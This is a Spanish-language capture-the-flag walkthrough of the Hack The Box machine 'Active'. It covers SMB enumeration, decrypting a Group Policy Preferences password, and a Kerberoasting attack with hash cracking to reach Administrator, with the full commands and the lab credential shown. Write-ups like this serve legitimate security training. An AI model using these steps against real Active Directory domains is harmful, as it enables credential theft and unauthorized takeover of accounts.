Active
Active es una máquina de dificultad fácil a media, que presenta dos técnicas muy frecuentes para obtener privilegios dentro de un entorno de Active Directory.

Reconnaissance
Realizaremos un escaneo sobre los puertos abiertos de la máquina Active.
nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.100 -oG allPortsLanzaremos unos scripts con Nmap para intenter ver vulnerabilidades y versiones sobre los puertos abiertos encontrados.
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49166,49168 10.10.10.100 -oN targeted
Comprobaremos el nombre del domninio a través del siguiente comando
ldapsearch -x -H ldap://10.10.10.100 -s base | grep defaultNamingContext
Añadiremos en nuestro archivo /etc/hosts la dirección IP de Active y el dominio
catnp /etc/hosts | grep active.htb
SMB Enumeration
Procederemos a la enumeración de SMB a través de enum4linux para ver que encontramos. Vemos que sin usuario podemos acceder a los recursos IPC$ y Replication.
enum4linux -a -u "" -p "" 10.10.10.100
Procederemos a acceder al recurso compartido "Replication" sin usuario, y nos descargaremos todo el contenido del recurso compartido en nuestro equipo local.
smbclient //10.10.10.100/Replication -N
Abusing GPP Passwords
Decrypting GPP Passwords - gpp-decrypt - impacket-GetGPPPassword
Comprobaremos que tenemos un archivo .xml que pertenece a una política y se trata de la información de un usuario del Active Directory y un campo "cpasswd" que está encriptado utilizando una clave conocida, que es parte de la configuración predeterminada de la Política de Preferencias de Grupo de Windows (GPP).
Para desencriptarlo podemos hacer uso de gpp-decrypt o impacket-Get-GPPPassword.
catnp Groups.xml
impacket-Get-GPPPassword -xmlfile Groups.xml 'LOCAL'
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

Flag user.txt
Comprobaremos a través de netexec de que podemos acceder con el usuario encontrado y su respectiva credencial. Comprobamos además de que tiene acceso al recurso compartido "Users".
netexec smb 10.10.10.100 -u SVC_TGS -p 'GPPstillStandingStrong2k18' --shares
Procederemos a conectarnos al SMB con estas nuevas credenciales y nos descargaremos el archivo "user.txt" que es la primera flag.
smbclient //10.10.10.100/Users -U active.htb/SVC_TGS
Comprobaremos el contenido de la flag de user.txt
catnp user.txtPrivilege Escalation
Kerberoasting Attack (GetUsersSPNs.py)
"Procederemos a realizar un ataque de Kerberoasting en busca de servicios en el dominio active.htb que estén vinculados a cuentas de usuario. El objetivo es obtener tickets de servicio Kerberos (TGS) asociados a estos servicios, los cuales podrán ser crackeados offline para intentar revelar las contraseñas de las cuentas de servicio."
Obtenemos el hash Krb5 del usuario "Administrator".
impacket-GetUserSPNs -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
Guardaremos el hash en un archivo de texto
cat hash.txt
Procederemos a realizar ataque de fuerza bruta a través de un diccionario para desencriptar el hash encontrado. Finalmente hemos obtenido la contraseña.
john --format=krb5tgs hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Comprobamos que podemos acceder con usuario "Administrator" y encontrar su correspondiente flag de root.txt
smbclient //10.10.10.100/Users -U active.htb/Administrator
Última actualización
¿Te fue útil?